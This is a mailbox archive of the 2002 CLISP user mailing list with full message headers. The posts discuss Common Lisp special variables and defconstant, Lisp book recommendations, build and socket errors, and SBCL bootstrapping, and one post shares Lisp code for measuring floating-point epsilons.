(edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id OAA05557; Fri, 8 Feb 2002 14:17:04 -0500 (EST) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g18JEpg13688; Fri, 8 Feb 2002 14:14:51 -0500 (EST) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: "Justice, Randy -CONT(DYN)" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] warning messages References: From: Raymond Toy In-Reply-To: Message-ID: <4n7kpnwzth.fsf@rtp.ericsson.se> Lines: 27 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (bamboo) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 8 11:15:12 2002 X-Original-Date: 08 Feb 2002 14:14:50 -0500 >>>>> "Randy" == DYN writes: Randy> Thanks for your input. Randy> Ok, I missing some concept. Randy> I don't know what a "special" variable is. I'm trying to It means it has dynamic binding. Look in a Lisp book or ask in comp.lang.lisp. Randy> use the "ARRAYSIZE" variable as a global constant. In that case, you can say one of the following: (defvar arraysize ) (defparameter arraysize ) (defconstant arraysize ) Read in a Lisp book or CLHS what the difference is. Since you say it's a global constant, then defconstant is probably what you want. And this should probably happen exactly once, and definitely before you compile the file that gives the warning. Ray From rkris@mac.com Fri Feb 08 11:25:40 2002 Received: from [204.179.120.85] (helo=smtpout.mac.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ZGeR-0001dE-00 for ; Fri, 08 Feb 2002 11:25:39 -0800 Received: from smtp-relay02.mac.com (server-source-si02 [10.13.10.6]) by smtpout.mac.com (8.12.1/8.10.2/1.0) with ESMTP id g18JPcFV006495 for ; Fri, 8 Feb 2002 11:25:38 -0800 (PST) Received: from asmtp01.mac.com ([10.13.10.65]) by smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun 21 2001 23:53:48) with ESMTP id GR8BAQ00.CU4 for ; Fri, 8 Feb 2002 11:25:38 -0800 Received: from ibook ([68.5.33.26]) by asmtp01.mac.com (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48) with ESMTP id GR8BAP00.S42; Fri, 8 Feb 2002 11:25:37 -0800 Subject: Re: [clisp-list] warning messages Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v480) Cc: "Justice, Randy -CONT(DYN)" , clisp-list@lists.sourceforge.net To: Raymond Toy From: Ram Krishnan In-Reply-To: <4n7kpnwzth.fsf@rtp.ericsson.se> Message-Id: Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.480) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 8 11:26:10 2002 X-Original-Date: Fri, 8 Feb 2002 11:26:27 -0800 On Friday, February 8, 2002, at 11:14 AM, Raymond Toy wrote: >>>>>> "Randy" == DYN writes: > > Randy> Thanks for your input. > > Randy> Ok, I missing some concept. > Randy> I don't know what a "special" variable is. I'm trying to > > It means it has dynamic binding. Look in a Lisp book or ask in > comp.lang.lisp. This is somewhat off-topic, but speaking of books on Lisp, Paul Graham, author of "ANSI Common Lisp", just recently released an on-line copy of his earlier work "On Lisp" which has been out of print for a long while. This is a great reference on Lisp (especially macros) and is available from: Enjoy. -ram From Randy.Justice@cnet.navy.mil Fri Feb 08 11:29:20 2002 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ZGhV-0002D3-00 for ; Fri, 08 Feb 2002 11:28:49 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id NAA00696; Fri, 8 Feb 2002 13:28:07 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id <1QH2RJLV>; Fri, 8 Feb 2002 13:34:03 -0600 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'Ram Krishnan'" , Raymond Toy Cc: "Justice, Randy -CONT(DYN)" , clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] warning messages MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 8 11:30:05 2002 X-Original-Date: Fri, 8 Feb 2002 13:34:02 -0600 Thank You -----Original Message----- From: Ram Krishnan [mailto:rkris@mac.com] Sent: Friday, February 08, 2002 1:26 PM To: Raymond Toy Cc: Justice, Randy -CONT(DYN); clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] warning messages On Friday, February 8, 2002, at 11:14 AM, Raymond Toy wrote: >>>>>> "Randy" == DYN writes: > > Randy> Thanks for your input. > > Randy> Ok, I missing some concept. > Randy> I don't know what a "special" variable is. I'm trying to > > It means it has dynamic binding. Look in a Lisp book or ask in > comp.lang.lisp. This is somewhat off-topic, but speaking of books on Lisp, Paul Graham, author of "ANSI Common Lisp", just recently released an on-line copy of his earlier work "On Lisp" which has been out of print for a long while. This is a great reference on Lisp (especially macros) and is available from: Enjoy. -ram From rkris@mac.com Fri Feb 08 11:41:23 2002 Received: from [204.179.120.85] (helo=smtpout.mac.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ZGtf-0005BS-00 for ; Fri, 08 Feb 2002 11:41:23 -0800 Received: from smtp-relay01.mac.com (server-source-si02 [10.13.10.6]) by smtpout.mac.com (8.12.1/8.10.2/1.0) with ESMTP id g18JfLFV011400 for ; Fri, 8 Feb 2002 11:41:21 -0800 (PST) Received: from asmtp01.mac.com ([10.13.10.65]) by smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun 21 2001 23:53:48) with ESMTP id GR8C0W00.ARH for ; Fri, 8 Feb 2002 11:41:20 -0800 Received: from ibook ([68.5.33.26]) by asmtp01.mac.com (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48) with ESMTP id GR8C0W00.951; Fri, 8 Feb 2002 11:41:20 -0800 Subject: Re: [clisp-list] warning messages Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v480) Cc: clisp-list@lists.sourceforge.net To: "Justice, Randy -CONT(DYN)" From: Ram Krishnan In-Reply-To: Message-Id: Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.480) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 8 11:42:10 2002 X-Original-Date: Fri, 8 Feb 2002 11:42:09 -0800 Randy, Another on-line reference "Basic Lisp Techniques" is a good introductory text, albeit a little Allegro CL centric. It specifically talks about lexical and dynamic scope which should answer some of your questions. Paul Graham's other book "ANSI Common Lisp" is a very good book as well - it's more of an introductory text than "On Lisp." Regards, -ram On Friday, February 8, 2002, at 11:34 AM, Justice, Randy -CONT(DYN) wrote: > Thank You > > > -----Original Message----- > From: Ram Krishnan [mailto:rkris@mac.com] > Sent: Friday, February 08, 2002 1:26 PM > To: Raymond Toy > Cc: Justice, Randy -CONT(DYN); clisp-list@lists.sourceforge.net > Subject: Re: [clisp-list] warning messages > > > On Friday, February 8, 2002, at 11:14 AM, Raymond Toy wrote: > >>>>>>> "Randy" == DYN writes: >> >> Randy> Thanks for your input. >> >> Randy> Ok, I missing some concept. >> Randy> I don't know what a "special" variable is. I'm trying to >> >> It means it has dynamic binding. Look in a Lisp book or ask in >> comp.lang.lisp. > > This is somewhat off-topic, but speaking of books on Lisp, Paul Graham, > author of "ANSI Common Lisp", just recently released an on-line copy of > his earlier work "On Lisp" which has been out of print for a long while. > This is a great reference on Lisp (especially macros) and is available > from: > > Enjoy. > > -ram From ats@cs.rit.edu Fri Feb 08 11:51:15 2002 Received: from mailout5-1.nyroc.rr.com ([24.92.226.169] helo=mailout5.nyroc.rr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ZH3C-0007Ve-00 for ; Fri, 08 Feb 2002 11:51:14 -0800 Received: from localhost (roc-66-66-136-3.rochester.rr.com [66.66.136.3]) by mailout5.nyroc.rr.com (8.11.6/Road Runner 1.12) with ESMTP id g18JoNM09704 for ; Fri, 8 Feb 2002 14:50:55 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v480) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Axel Schreiner To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: <17FB9592-1CCD-11D6-9E0B-000A27E2EF46@cs.rit.edu> X-Mailer: Apple Mail (2.480) Subject: [clisp-list] clisp 2.27 on Solaris 5.8 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 8 11:52:04 2002 X-Original-Date: Fri, 8 Feb 2002 14:50:24 -0500 I compiled clist from the sources as per instructions in unix/INSTALL. The result is . Axel T. Schreiner, Computer Science, Rochester Institute of Technology room 10-1188, 102 Lomb Memorial Drive, Rochester NY 14623-5608 USA http://www.cs.rit.edu/~ats/, phone +1.585.475.4902, fax +1.585.475.7100 From lenst@mac.com Sat Feb 09 05:30:04 2002 Received: from [204.179.120.85] (helo=smtpout.mac.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ZXZs-0006xP-00 for ; Sat, 09 Feb 2002 05:30:04 -0800 Received: from smtp-relay02.mac.com (server-source-si02 [10.13.10.6]) by smtpout.mac.com (8.12.1/8.10.2/1.0) with ESMTP id g19DU4FV009478 for ; Sat, 9 Feb 2002 05:30:04 -0800 (PST) Received: from asmtp01.mac.com ([10.13.10.65]) by smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun 21 2001 23:53:48) with ESMTP id GR9PI300.JXK for ; Sat, 9 Feb 2002 05:30:03 -0800 Received: from localhost ([194.22.192.16]) by asmtp01.mac.com (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48) with ESMTP id GR9PI200.R5A; Sat, 9 Feb 2002 05:30:02 -0800 Subject: Re: [clisp-list] CLISP and ILISP Content-Type: text/plain; charset=ISO-8859-1; format=flowed Mime-Version: 1.0 (Apple Message framework v480) Cc: To: sds@gnu.org From: Lennart Staflin In-Reply-To: Message-Id: <7B1F4E76-1D56-11D6-8C51-0030656FF2A0@mac.com> Content-Transfer-Encoding: quoted-printable X-Mailer: Apple Mail (2.480) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 9 05:31:04 2002 X-Original-Date: Sat, 9 Feb 2002 13:13:52 +0100 On m=E5ndag, februari 4, 2002, at 01:55 , Sam Steingold wrote: >> * In message >> * On the subject of "Re: [clisp-list] CLISP and ILISP" >> * Sent on Sun, 3 Feb 2002 22:34:15 +0100 >> * Honorable Lennart Staflin writes: >> >>>> [2]> (finish-output t) >>>> *** - UNIX error 45 (EOPNOTSUPP): Operation not supported on socket >> >> On s=F6ndag, februari 3, 2002, at 05:27 , Sam Steingold wrote: >>> what is the value of *terminal-io*? >> # > > please report all the details. > 1. OS name and version Darwin localhost 5.2 Darwin Kernel Version 5.2: Fri Dec 7 21:39:35 PST=20= 2001; root:xnu/xnu-201.14.obj~1/RELEASE_PPC Power Macintosh powerpc > 2. CLISP version GNU CLISP 2.27.2 (released 2001-10-05) (built 3221719001) (memory=20 3222242925) =46rom the binary release on cons.org. > 3. ILISP version > 4. Emacs version Let's forget about ILISP and Emacs, here is a short test case: clisp -norc -q -x "(finish-output t)" | cat *** - UNIX error 45 (EOPNOTSUPP): Operation not supported on socket //Lennart From william.newman@airmail.net Sat Feb 09 09:30:46 2002 Received: from mx9.airmail.net ([209.196.77.106]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ZbKn-0000eT-00 for ; Sat, 09 Feb 2002 09:30:45 -0800 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx9.airmail.net with smtp (Exim 3.33 #1) id 16ZbLI-000Mi0-00 for clisp-list@lists.sourceforge.net; Sat, 09 Feb 2002 11:31:16 -0600 Received: from balefire.localdomain from [207.136.38.249] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Sat, 9 Feb 2002 11:30:43 -0600 (CST) Received: (from newman@localhost) by balefire.localdomain (8.11.3/8.11.3) id g19HHnN07954; Sat, 9 Feb 2002 11:17:49 -0600 (CST) From: William Harold Newman To: clisp-list@lists.sourceforge.net Message-ID: <20020209171748.GB27813@balefire.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.25i Subject: [clisp-list] progress on using CLISP as bootstrap host for SBCL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 9 09:31:04 2002 X-Original-Date: Sat, 9 Feb 2002 11:17:48 -0600 I just integrated a bunch of fixes from Dave McDonald to make the build process get substantially further than before. It's still not working, but most of the solved problems so far, and the current unsolved problem, are due to unportable code in SBCL. Generally CLISP is working well, especially in areas that'd be hard to work around. Thank you for the fixes in CLISP (especially MAKE-LOAD-FORM) and general good work. -- William Harold Newman "Look on my works, ye Mighty, and despair!" -- Ozymandias, King of Kings PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From smk@users.sourceforge.net Sat Feb 09 10:39:21 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ZcP9-0001ff-00; Sat, 09 Feb 2002 10:39:19 -0800 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #3) id 16ZcP5-0005RR-00; Sat, 09 Feb 2002 19:39:15 +0100 Received: from a2c50.pppool.de ([213.6.44.80] helo=users.sourceforge.net) by mx3.freenet.de with asmtp (ID stefan.kain@freenet.de) (Exim 3.33 #3) id 16ZcP4-0008Pl-00; Sat, 09 Feb 2002 19:39:14 +0100 Message-ID: <3C656D12.5C1AD529@users.sourceforge.net> From: Stefan Kain X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-4GB i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-devel , clisp-list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] *-float-*-epsilon in clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 9 10:40:03 2002 X-Original-Date: Sat, 09 Feb 2002 19:40:18 +0100 Hi fellow clisp-ers, I have written the following functions which determine the various floating-point-epsilons. I get discrepancies for the double-float-*-epsilon values on my machine. I don't think, that my FP-Coprocessor is wrong. Maybe there is just a wrong definition shipped with clisp. If you want to read, what this all is about, have a look at: Simply load the functions given below and enter into the repl: (test-epsilons) Could you give them a try and report your results for your local installation to clisp-devel? That would be very kind! Thanks! Bye, Stefan =============================================================== (defun test-pos-epsilon () (= (float 1 ) (+ (float 1 ) ))) (defun test-neg-epsilon () (= (float 1 ) (- (float 1 ) ))) (defun binary-search (lower_bound upper_bound old_string precision test-fun) (let* ((new_bound (/ (+ (float lower_bound precision) (float upper_bound precision)) 2)) (new_string (format nil "~E" (float new_bound precision)))) (if (string= old_string new_string) ;; then ;; (format t "~A ~A~%" old_string new_string) (float upper_bound precision) ;; else (progn ;; (format t "~A ~A~%" (float lower_bound precision) ;; (float upper_bound precision)) (if (funcall test-fun new_bound) ;; then (binary-search new_bound upper_bound new_string precision test-fun) ;; else (binary-search lower_bound new_bound new_string precision test-fun)))))) ;;;; test: (defun test-epsilons () (let ((fmt "~30E~30E~30E~%")) (progn (format t "~30<~A~>~30<~A~>~30<~A~>~%" "system value" "computed value" "difference") ;; short-float-epsilon: (format t "short-float-epsilon:~%") (format t fmt short-float-epsilon (binary-search 0.0 1.0 "0.0" 1.0s0 #'test-pos-epsilon) (- (binary-search 0.0 1.0 "0.0" 1.0s0 #'test-pos-epsilon) short-float-epsilon)) ;; short-float-negative-epsilon: (format t "short-float-negative-epsilon:~%") (format t fmt short-float-negative-epsilon (binary-search 0.0 1.0 "0.0" 1.0s0 #'test-neg-epsilon) (- (binary-search 0.0 1.0 "0.0" 1.0s0 #'test-neg-epsilon) short-float-negative-epsilon)) ;; single-float-epsilon: (format t "single-float-epsilon:~%") (format t fmt single-float-epsilon (binary-search 0.0 1.0 "0.0" 1.0 #'test-pos-epsilon) (- (binary-search 0.0 1.0 "0.0" 1.0 #'test-pos-epsilon) single-float-epsilon)) ;; single-float-negative-epsilon: (format t "single-float-negative-epsilon:~%") (format t fmt single-float-negative-epsilon (binary-search 0.0 1.0 "0.0" 1.0 #'test-neg-epsilon) (- (binary-search 0.0 1.0 "0.0" 1.0 #'test-neg-epsilon) single-float-negative-epsilon)) ;; double-float-epsilon: (format t "double-float-epsilon:~%") (format t fmt double-float-epsilon (binary-search 0.0 1.0 "0.0" 1.0d0 #'test-pos-epsilon) (- (binary-search 0.0 1.0 "0.0" 1.0d0 #'test-pos-epsilon) double-float-epsilon)) ;; double-float-negative-epsilon: (format t "double-float-negative-epsilon:~%") (format t fmt double-float-negative-epsilon (binary-search 0.0 1.0 "0.0" 1.0d0 #'test-neg-epsilon) (- (binary-search 0.0 1.0 "0.0" 1.0d0 #'test-neg-epsilon) double-float-negative-epsilon)) ;; long-float-epsilon: (format t "long-float-epsilon:~%") (format t fmt long-float-epsilon (binary-search 0.0 1.0 "0.0" 1.0l0 #'test-pos-epsilon) (- (binary-search 0.0 1.0 "0.0" 1.0l0 #'test-pos-epsilon) long-float-epsilon)) ;;long-float-negative-epsilon: (format t "long-float-negative-epsilon:~%") (format t fmt long-float-negative-epsilon (binary-search 0.0 1.0 "0.0" 1.0l0 #'test-neg-epsilon) (- (binary-search 0.0 1.0 "0.0" 1.0l0 #'test-neg-epsilon) long-float-negative-epsilon))))) From smk@users.sourceforge.net Sat Feb 09 11:00:31 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Zcjd-0007Ua-00; Sat, 09 Feb 2002 11:00:30 -0800 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #3) id 16Zcjb-0007Pz-00; Sat, 09 Feb 2002 20:00:27 +0100 Received: from a2c50.pppool.de ([213.6.44.80] helo=users.sourceforge.net) by mx1.freenet.de with asmtp (ID stefan.kain@freenet.de) (Exim 3.33 #3) id 16Zcja-0007sO-00; Sat, 09 Feb 2002 20:00:27 +0100 Message-ID: <3C657212.584D2AF9@users.sourceforge.net> From: Stefan Kain X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-4GB i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-devel , clisp-list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Right URL for *-float-*-epsilon Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 9 11:01:03 2002 X-Original-Date: Sat, 09 Feb 2002 20:01:38 +0100 Sorry, the last URL was wrong. The right one: From william.newman@airmail.net Sat Feb 09 13:15:38 2002 Received: from mx11.airmail.net ([209.196.77.108]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ZeqP-0007Mk-00 for ; Sat, 09 Feb 2002 13:15:37 -0800 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx11.airmail.net with smtp (Exim 3.33 #1) id 16ZeqN-000JjQ-00 for clisp-list@lists.sourceforge.net; Sat, 09 Feb 2002 15:15:35 -0600 Received: from balefire.localdomain from [207.136.38.249] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Sat, 9 Feb 2002 15:15:39 -0600 (CST) Received: (from newman@localhost) by balefire.localdomain (8.11.3/8.11.3) id g19L2eD20957; Sat, 9 Feb 2002 15:02:40 -0600 (CST) From: William Harold Newman To: clisp-list@lists.sourceforge.net Message-ID: <20020209210239.GC27813@balefire.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.25i Subject: [clisp-list] package locking confusion Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 9 13:16:04 2002 X-Original-Date: Sat, 9 Feb 2002 15:02:40 -0600 I don't understand this error (in clisp checked out of CVS this morning): $ clisp -q [1]> (compile nil '(LAMBDA (LIST) (FLET ((ENABLE (X) (PUSHNEW X LIST)) (DISABLE (X) (SETF LIST (REMOVE X LIST)))) (ENABLE :SB-AFTER-XC-CORE) LIST))) ** - Continuable Error INTERN("NIL-ENABLE"): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1. Break [2]> -- William Harold Newman "Look on my works, ye Mighty, and despair!" -- Ozymandias, King of Kings PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From smk@users.sourceforge.net Sun Feb 10 06:13:35 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ZujV-0007Wn-00 for ; Sun, 10 Feb 2002 06:13:33 -0800 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout1.freenet.de with esmtp (Exim 3.33 #3) id 16ZujT-0002PU-00 for clisp-list@lists.sourceforge.net; Sun, 10 Feb 2002 15:13:31 +0100 Received: from ae316.pppool.de ([213.6.227.22] helo=users.sourceforge.net) by mx1.freenet.de with asmtp (ID stefan.kain@freenet.de) (Exim 3.33 #3) id 16ZujR-0002tN-00 for clisp-list@lists.sourceforge.net; Sun, 10 Feb 2002 15:13:30 +0100 Message-ID: <3C668052.DFCEB7B4@users.sourceforge.net> From: Stefan Kain X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-4GB i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] *-float-*-epsilon in clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 10 06:14:03 2002 X-Original-Date: Sun, 10 Feb 2002 15:14:42 +0100 Hi fellow clisp-ers, I have written the following functions which determine the various floating-point-epsilons. I get discrepancies for the double-float-*-epsilon values on my machine. I don't think, that my FP-Coprocessor is wrong. Maybe there is just a wrong definition shipped with clisp. If you want to read, what this all is about, have a look at: http://www.xanalys.com/software_tools/reference/HyperSpec/Body/v_short_.htm Simply load the functions given below and enter into the repl: (test-epsilons) Could you give them a try and report your results for your local installation to clisp-list? That would be very kind! Thanks! Bye, Stefan =============================================================== (defun test-pos-epsilon () (= (float 1 ) (+ (float 1 ) ))) (defun test-neg-epsilon () (= (float 1 ) (- (float 1 ) ))) (defun binary-search (lower_bound upper_bound old_value precision test-fun) (let* ((new_bound (/ (+ (float lower_bound precision) (float upper_bound precision)) 2)) (new_value (float new_bound precision))) (if (= old_value new_value) ;; then ;; (format t "~A ~A~%" old_string new_string) (float upper_bound precision) ;; else (progn ;; (format t "~A ~A~%" (float lower_bound precision) ;; (float upper_bound precision)) (if (funcall test-fun new_bound) ;; then (binary-search new_bound upper_bound new_value precision test-fun) ;; else (binary-search lower_bound new_bound new_value precision test-fun)))))) ;;;; test: (defun test-epsilons () (let ((fmt "~30E~30E~30E~%")) (format t "~30<~A~>~30<~A~>~30<~A~>~%" "system value" "computed value" "difference") ;; short-float-epsilon: (format t "short-float-epsilon:~%") (format t fmt short-float-epsilon (binary-search 0.0 1.0 0.0 1.0s0 #'test-pos-epsilon) (- (binary-search 0.0 1.0 0.0 1.0s0 #'test-pos-epsilon) short-float-epsilon)) ;; short-float-negative-epsilon: (format t "short-float-negative-epsilon:~%") (format t fmt short-float-negative-epsilon (binary-search 0.0 1.0 0.0 1.0s0 #'test-neg-epsilon) (- (binary-search 0.0 1.0 0.0 1.0s0 #'test-neg-epsilon) short-float-negative-epsilon)) ;; single-float-epsilon: (format t "single-float-epsilon:~%") (format t fmt single-float-epsilon (binary-search 0.0 1.0 0.0 1.0 #'test-pos-epsilon) (- (binary-search 0.0 1.0 0.0 1.0 #'test-pos-epsilon) single-float-epsilon)) ;; single-float-negative-epsilon: (format t "single-float-negative-epsilon:~%") (format t fmt single-float-negative-epsilon (binary-search 0.0 1.0 0.0 1.0 #'test-neg-epsilon) (- (binary-search 0.0 1.0 0.0 1.0 #'test-neg-epsilon) single-float-negative-epsilon)) ;; double-float-epsilon: (format t "double-float-epsilon:~%") (format t fmt double-float-epsilon (binary-search 0.0 1.0 0.0 1.0d0 #'test-pos-epsilon) (- (binary-search 0.0 1.0 0.0 1.0d0 #'test-pos-epsilon) double-float-epsilon)) ;; double-float-negative-epsilon: (format t "double-float-negative-epsilon:~%") (format t fmt double-float-negative-epsilon (binary-search 0.0 1.0 0.0 1.0d0 #'test-neg-epsilon) (- (binary-search 0.0 1.0 0.0 1.0d0 #'test-neg-epsilon) double-float-negative-epsilon)) ;; long-float-epsilon: (format t "long-float-epsilon:~%") (format t fmt long-float-epsilon (binary-search 0.0 1.0 0.0 1.0l0 #'test-pos-epsilon) (- (binary-search 0.0 1.0 0.0 1.0l0 #'test-pos-epsilon) long-float-epsilon)) ;;long-float-negative-epsilon: (format t "long-float-negative-epsilon:~%") (format t fmt long-float-negative-epsilon (binary-search 0.0 1.0 0.0 1.0l0 #'test-neg-epsilon) (- (binary-search 0.0 1.0 0.0 1.0l0 #'test-neg-epsilon) long-float-negative-epsilon)))) From ampy@ich.dvo.ru Sun Feb 10 20:47:33 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16a8Mt-0008Ex-00 for ; Sun, 10 Feb 2002 20:47:08 -0800 Received: (qmail 28530 invoked from network); 11 Feb 2002 04:46:55 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 11 Feb 2002 04:46:55 -0000 Received: from localhost [127.0.0.1] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Mon, 11 Feb 2002 14:41:22 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <27232639227.20020211144122@ich.dvo.ru> To: Stefan Kain CC: clisp-list Subject: Re: [clisp-list] *-float-*-epsilon in clisp In-reply-To: <3C668052.DFCEB7B4@users.sourceforge.net> References: <3C668052.DFCEB7B4@users.sourceforge.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: 